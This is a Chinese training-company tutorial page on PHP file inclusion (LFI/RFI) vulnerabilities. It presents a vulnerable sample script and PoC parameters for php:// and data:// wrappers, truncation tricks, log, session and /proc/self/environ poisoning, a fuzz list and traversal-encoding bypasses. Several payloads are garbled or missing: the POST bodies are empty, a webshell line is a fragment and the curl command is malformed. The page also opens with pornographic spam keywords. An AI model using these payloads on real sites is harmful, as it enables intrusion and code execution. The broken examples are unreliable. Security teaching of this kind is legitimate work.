国产睡熟迷奷白丝护士系列精品,中文色字幕网站,免费h网站在线观看的,亚洲开心激情在线

      <sup id="hb9fh"></sup>
          1. 千鋒教育-做有情懷、有良心、有品質(zhì)的職業(yè)教育機(jī)構(gòu)

            手機(jī)站
            千鋒教育

            千鋒學(xué)習(xí)站 | 隨時(shí)隨地免費(fèi)學(xué)

            千鋒教育

            掃一掃進(jìn)入千鋒手機(jī)站

            領(lǐng)取全套視頻
            千鋒教育

            關(guān)注千鋒學(xué)習(xí)站小程序
            隨時(shí)隨地免費(fèi)學(xué)習(xí)課程

            當(dāng)前位置:首頁(yè)  >  技術(shù)干貨  > 文件包含漏洞相關(guān)知識(shí)總結(jié)

            文件包含漏洞相關(guān)知識(shí)總結(jié)

            來(lái)源:千鋒教育
            發(fā)布人:qyf
            時(shí)間: 2022-08-12 15:04:04 1660287844

            文件包含漏洞相關(guān)知識(shí)總結(jié)

              1.文件包含漏洞概念

              通過(guò)PHP函數(shù)引入文件時(shí),傳入的文件名沒(méi)有經(jīng)過(guò)合理的驗(yàn)證,從而操作了預(yù)想之外的文件,就可能導(dǎo)致意外的文件泄漏甚至惡意代碼注入

              2.文件包含漏洞的環(huán)境要求

              allow_url_fopen=On(默認(rèn)為On) 規(guī)定是否允許從遠(yuǎn)程服務(wù)器或者網(wǎng)站檢索數(shù)據(jù) allow_url_include=On(php5.2之后默認(rèn)為Off) 規(guī)定是否允許include/require遠(yuǎn)程文件

              3.常見(jiàn)文件包含函數(shù)

              include()和require()區(qū)別

              include在引入不存文件時(shí)產(chǎn)生一個(gè)警告且腳本還會(huì)繼續(xù)執(zhí)行,require則會(huì)導(dǎo)致一個(gè)致命性錯(cuò)誤且腳本停止執(zhí)行

              新建include.php文件

            <?php

              $a='phpinfo1.php';#包含不存在的文件

              include $a;

              #require $a;

              echo "123";

              ?>

              運(yùn)行結(jié)果:require包含不會(huì)顯示123

            圖片1

              require_once和include_once該文件中已經(jīng)被包含過(guò),則不會(huì)再次包含

              4.PHP偽協(xié)議在文件包含漏洞中的利用

              4.1. php://input

              php://input可以訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流,將post請(qǐng)求的數(shù)據(jù)當(dāng)作php代碼執(zhí)行

              如果存在文件包含漏洞,可將php://input作為文件名傳入,同時(shí)在post中注入設(shè)置想要注入的代碼,php執(zhí)行時(shí)就會(huì)將post的內(nèi)容作為php代碼執(zhí)行

              4.1.1. 使用條件

              allow_url_fopen:off/on

              allow_url_include:on

              4.1.2. 實(shí)例

            <meta charset="utf8">
            <?php

              error_reporting(0);

              $file=$_GET["file"];

              if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){

              exit('hacker!');

              }

              if($file){

              if($file!="http://www.baidu.com")echo"tips:flag在當(dāng)前目錄的某個(gè)文件中";

              include($file);

              }else{

              echo'click go baidu';

              }

              ?>

              error_reporting(0);

              $file=$_GET["file"];

              if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){

              exit('hacker!');

              }

              if($file){

              if($file!="http://www.baidu.com")echo"tips:flag在當(dāng)前目錄的某個(gè)文件中";

              include($file);

              }else{

              echo'click go baidu';

              }

              ?>

              執(zhí)行任意代碼poc:

              ?file=php://input

              post數(shù)據(jù):

              寫(xiě)入木馬poc:

              ?file=php://input

              post數(shù)據(jù):

              ');?>

              讀取目錄結(jié)構(gòu)poc:

              ?file=php://inputpost數(shù)據(jù):

              post數(shù)據(jù):

              4.2. data://

              4.2.1. poc

              data://[][;charset=][;base64],

              ?file=data://,

              ?file=data://text//plain,

              ?file=data://text/plain;base64,xxxxxxxxx

              ?file=data:text/plain,

              ?file=data:text/plain;base64,xxxxxxxxxx

              4.2.2.file://,zip://,compress.zlib://和bzip2://

              4.3 使用條件

              allow_url_fopen:off/on

              allow_url_include:off/on

              file://用于訪問(wèn)本地文件系統(tǒng),在CTF中通常用來(lái)讀取本地文件的且不受allow_url_fopen與allow_url_include的影響(相同類型的還有zip://,zlib://和bzip2://)

              file://必須是絕對(duì)路徑

              4.3.2. poc

              以zip://為例

              要用#分隔壓縮包和壓縮包里的內(nèi)容,并且#要用url編碼%23

              %23code.txt

              先將要執(zhí)行的PHP代碼寫(xiě)好文件名為code.txt,將phpcode.txt進(jìn)行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。

              4.4. phar://

              4.4.1. poc

              phar://...(當(dāng)前腳本的絕對(duì)路徑).../1.zip/1.php

              4.5. php://filter

              php://filter可以獲取指定文件源碼。當(dāng)它與包含函數(shù)結(jié)合時(shí),php://filter流會(huì)被當(dāng)作php文件行。所以我們一般對(duì)其進(jìn)行編碼,讓其不執(zhí)行。從而導(dǎo)致任意文件讀取。

              poc:

              ?file=php://filter/resource=xxx.php

              或

              ?file=php://filter/read=convert.base64-encode/resource=xxx.php

              或

              ?file=php://filter/convert.base64-encode/resource=xxx.php #可繞過(guò)過(guò)濾了操作名read的waf

              或

              ?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重寫(xiě)resource繞過(guò)正則為"/resource=*.jpg/i"的waf

              4.6. 總結(jié)

              php://input和data://可以注入任意代碼;file://,zip://,zlib://,bzip2://,phar,php://filter可用于讀取文件,可以結(jié)合文件上傳漏洞進(jìn)行利用。

              5.文件包含漏洞的截?cái)?/strong>

              5.1. %00截?cái)?/p>

              5.1.1. 要求

              php版本小于5.3.4

              magic_quotes_gpc為off狀態(tài)

              magic_quotes_gpc為on狀態(tài)時(shí)%00前會(huì)被自動(dòng)加上一個(gè)反斜杠轉(zhuǎn)義

              5.1.2. 實(shí)例

              index.php

              if(empty($_GET["file"])){

              echo('../flag.php');

              return;

              }

              else{

              $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問(wèn).html后綴名的文件,如果想訪問(wèn).php后綴名的文件就需要截?cái)嗪竺娴?html

              include $filename;

              }

              ?>

              poc

              index.php?file=../../flag.php%00

              5.2. 路徑長(zhǎng)度截?cái)?/p>

              5.2.1. 要求

              php版本小于5.2.8

              5.2.2. 操作系統(tǒng)文件長(zhǎng)度限制

              windows 259個(gè)bytes

              linux 4096個(gè)bytes

              5.2.3. 實(shí)例

              index.php

              

              if(empty($_GET["file"])){

              echo('../flag.php');

              return;

              }

              else{

              $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問(wèn).html后綴名的文件,如果想訪問(wèn).php后綴名的文件就需要階段后面的.html

              include $filename;

              }

              ?>

              5.2.4. poc

              windows:

              poc1:file=../../flag.php..............................................................................................................................................................................................................................................

              poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

              5.3.總結(jié)

              一般來(lái)說(shuō)如果php版本在5.3.4以下,先嘗試使用%00截?cái)?如果不行再使用路徑長(zhǎng)度截?cái)?/p>

              6.包含Apache日志文件

              WEB服務(wù)器一般會(huì)將用戶的訪問(wèn)記錄保存在訪問(wèn)日志中。那么我們可以根據(jù)日志記錄的內(nèi)容,精心構(gòu)造請(qǐng)求,把PHP代碼插入到日志文件中,通過(guò)文件包含漏洞來(lái)執(zhí)行日志中的PHP代碼。

              6.1. 使用條件

              對(duì)日志文件可讀

              知道日志文件存儲(chǔ)目錄

              curl命令行url請(qǐng)求工具(避免url轉(zhuǎn)碼的存在)

              6.2. 獲取日志存放路徑

              日志默認(rèn)路徑

              (1) apache+Linux日志默認(rèn)路徑

              /etc/httpd/logs/access_log

              /var/log/httpd/access_log

              (2) apache+win2003日志默認(rèn)路徑

              D:\xampp\apache\logs\access.log

              D:\xampp\apache\logs\error.log

              (3) IIS6.0+win2003默認(rèn)日志文件

              C:\WINDOWS\system32\Logfiles

              (4) IIS7.0+win2003 默認(rèn)日志文件

              %SystemDrive%\inetpub\logs\LogFiles

              (5) nginx 日志文件

              日志文件在用戶安裝目錄logs目錄下

              以我的安裝路徑為例/usr/local/nginx,

              那我的日志目錄就是在/usr/local/nginx/logs里

              6.3. 利用方式

              使用瀏覽器訪問(wèn)特殊字符會(huì)被編碼,可以使用curl避免特殊字符被編碼,但是需要注意的是[ ]在curl是特殊符號(hào),需要進(jìn)行轉(zhuǎn)義 ,不然curl使用時(shí)會(huì)報(bào)錯(cuò)

              curl -v "http://xxxxx/file.php?page="?page="

              7.包含SSH log 日志

              7.1. 利用條件

              需要知道ssh-log的位置,且可讀。默認(rèn)情況下為 /var/log/auth.log

              7.2. 利用方式

              首先使用ssh連接

              ssh ''@remotehost

              然后隨意輸入密碼

              最后結(jié)合文件包含漏洞即可利用

              8.包含SESSION

              8.1. 利用條件

              找到Session內(nèi)的可控變量

              Session文件可讀寫(xiě),并且知道存儲(chǔ)路徑

              php的session文件的保存路徑可以在phpinfo的session.save_path看到

              8.2. session常見(jiàn)存儲(chǔ)路徑

              /var/lib/php/sess_PHPSESSID

              /var/lib/php/sess_PHPSESSID

              /tmp/sess_PHPSESSID

              /tmp/sessions/sess_PHPSESSID

              session文件格式:sess_[phpsessid] ,而 phpsessid 在發(fā)送的請(qǐng)求的 cookie 字段中可以看到

              9.包含environ

              利用條件:

              php以cgi方式運(yùn)行,這樣environ才會(huì)保持UA頭。

              environ文件存儲(chǔ)位置已知,且environ文件可讀。

              姿勢(shì):

              /proc/self/environ中會(huì)保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會(huì)被寫(xiě)入到中。之后再包含它即可。

              10.包含/proc/self/fd/[environreferer]

              apache的錯(cuò)誤日志可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的測(cè)試器模塊fuzz出該文件結(jié)構(gòu)

              fuzz字典:

              /proc/self/cmdline

              /proc/self/stat

              /proc/self/status

              /proc/self/fd/0

              /proc/self/fd/1

              /proc/self/fd/2

              /proc/self/fd/3

              /proc/self/fd/4

              /proc/self/fd/5

              /proc/self/fd/6

              /proc/self/fd/7

              /proc/self/fd/8

              /proc/self/fd/9

              /proc/self/fd/10

              /proc/self/fd/11

              /proc/self/fd/12

              /proc/self/fd/13

              /proc/self/fd/14

              /proc/self/fd/15

              /proc/self/fd/16

              /proc/self/fd/17

              /proc/self/fd/18

              /proc/self/fd/19

              /proc/self/fd/20

              /proc/self/fd/21

              /proc/self/fd/22

              /proc/self/fd/23

              /proc/self/fd/24

              /proc/self/fd/25

              /proc/self/fd/26

              /proc/self/fd/27

              /proc/self/fd/28

              /proc/self/fd/29

              /proc/self/fd/30

              /proc/self/fd/31

              /proc/self/fd/32

              /proc/self/fd/33

              /proc/self/fd/34

              /proc/self/fd/35

              11.包含臨時(shí)文件

              php中上傳文件,會(huì)創(chuàng)建臨時(shí)文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時(shí)文件被刪除之前,利用競(jìng)爭(zhēng)即可包含該臨時(shí)文件。

              由于包含需要知道包含的文件名。一種方法是進(jìn)行暴力猜解,linux下使用的隨機(jī)函數(shù)有缺陷,而window下只有65535中不同的文件名,所以這個(gè)方法是可行的。

              另一種方法是配合phpinfo頁(yè)面的php variables,可以直接獲取到上傳文件的存儲(chǔ)路徑和臨時(shí)文件名,直接包含即可。這個(gè)方法可以參考LFI With PHPInfo Assistance

              12.其他包含姿勢(shì)

              包含stmp日志

              包含xss

              包含上傳文件

              13.文件包含漏洞的繞過(guò)方法

              13.1. 特定前綴繞過(guò)

              13.1.1. 目錄遍歷

              使用 …/…/ 來(lái)返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php

              13.1.2. 編碼繞過(guò)

              服務(wù)器端常常會(huì)對(duì)于…/等做一些過(guò)濾,可以用一些編碼來(lái)進(jìn)行繞過(guò)。

              服務(wù)器端常常會(huì)對(duì)于…/等做一些過(guò)濾,可以用一些編碼來(lái)進(jìn)行繞過(guò)。

              1.利用url編碼

              /%2e%2e%2f

              ...

              %2f%2e%2e/

              \%2e%2e%5c

              ...

              %5c%2e%2e\

              2.二次編碼

              /%252e%252e%252f

              /%252e%252e%255c

              13.2. 指定后綴繞過(guò)

              13.2.1. query(?)

              [訪問(wèn)參數(shù)] ?file=http://localhost:8081/phpinfo.php?

              [拼接后] ?file=http://localhost:8081/phpinfo.php?.txt

              ?將后面的.txt截?cái)?web服務(wù)器會(huì)認(rèn)為.txt是一個(gè)新的參數(shù)

              13.2.2. fragment(#)

              [訪問(wèn)參數(shù)] ?file=http://localhost:8081/phpinfo.php%23

              [拼接后] ?file=http://localhost:8081/phpinfo.php#.txt

              13.2.3. zip://

              [訪問(wèn)參數(shù)] ?file=zip://D:\zip.jpg%23phpinfo

              [拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt

              13.2.4. phar://

              [訪問(wèn)參數(shù)] ?file=phar://zip.zip/phpinfo

              [拼接后] ?file=phar://zip.zip/phpinfo.txt

              更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問(wèn)題,歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué),課程大綱緊跟企業(yè)需求,更科學(xué)更嚴(yán)謹(jǐn),每年培養(yǎng)泛IT人才近2萬(wàn)人。不論你是零基礎(chǔ)還是想提升,都可以找到適合的班型,千鋒教育隨時(shí)歡迎你來(lái)試聽(tīng)。

            tags:
            聲明:本站稿件版權(quán)均屬千鋒教育所有,未經(jīng)許可不得擅自轉(zhuǎn)載。
            10年以上業(yè)內(nèi)強(qiáng)師集結(jié),手把手帶你蛻變精英
            請(qǐng)您保持通訊暢通,專屬學(xué)習(xí)老師24小時(shí)內(nèi)將與您1V1溝通
            免費(fèi)領(lǐng)取
            今日已有369人領(lǐng)取成功
            劉同學(xué) 138****2860 剛剛成功領(lǐng)取
            王同學(xué) 131****2015 剛剛成功領(lǐng)取
            張同學(xué) 133****4652 剛剛成功領(lǐng)取
            李同學(xué) 135****8607 剛剛成功領(lǐng)取
            楊同學(xué) 132****5667 剛剛成功領(lǐng)取
            岳同學(xué) 134****6652 剛剛成功領(lǐng)取
            梁同學(xué) 157****2950 剛剛成功領(lǐng)取
            劉同學(xué) 189****1015 剛剛成功領(lǐng)取
            張同學(xué) 155****4678 剛剛成功領(lǐng)取
            鄒同學(xué) 139****2907 剛剛成功領(lǐng)取
            董同學(xué) 138****2867 剛剛成功領(lǐng)取
            相關(guān)推薦HOT
            反欺詐中所用到的機(jī)器學(xué)習(xí)模型有哪些?

            一、邏輯回歸模型邏輯回歸是一種常用的分類模型,特別適合處理二分類問(wèn)題。在反欺詐中,邏輯回歸可以用來(lái)預(yù)測(cè)一筆交易是否是欺詐。二、決策樹(shù)模...詳情>>

            2023-10-14 14:09:29
            軟件開(kāi)發(fā)管理流程中會(huì)出現(xiàn)哪些問(wèn)題?

            一、需求不清需求不明確是導(dǎo)致項(xiàng)目失敗的主要原因之一。如果需求沒(méi)有清晰定義,開(kāi)發(fā)人員可能會(huì)開(kāi)發(fā)出不符合用戶期望的產(chǎn)品。二、通信不足溝通問(wèn)...詳情>>

            2023-10-14 13:43:21
            軟件定制開(kāi)發(fā)中的敏捷開(kāi)發(fā)是什么?

            軟件定制開(kāi)發(fā)中的敏捷開(kāi)發(fā)是什么軟件定制開(kāi)發(fā)中的敏捷開(kāi)發(fā),從宏觀上看,是一個(gè)高度關(guān)注人員交互,持續(xù)開(kāi)發(fā)與交付,接受需求變更并適應(yīng)環(huán)境變化...詳情>>

            2023-10-14 13:24:57
            什么是PlatformIo?

            PlatformIO是什么PlatformIO是一個(gè)全面的物聯(lián)網(wǎng)開(kāi)發(fā)平臺(tái),它為眾多硬件平臺(tái)和開(kāi)發(fā)環(huán)境提供了統(tǒng)一的工作流程,有效簡(jiǎn)化了開(kāi)發(fā)過(guò)程,并能兼容各種...詳情>>

            2023-10-14 12:55:06
            云快照與自動(dòng)備份有什么區(qū)別?

            1、定義和目標(biāo)不同云快照的主要目標(biāo)是提供一種快速恢復(fù)數(shù)據(jù)的方法,它只記錄在快照時(shí)間點(diǎn)后的數(shù)據(jù)變化,而不是所有的數(shù)據(jù)。自動(dòng)備份的主要目標(biāo)...詳情>>

            2023-10-14 12:48:59
            快速通道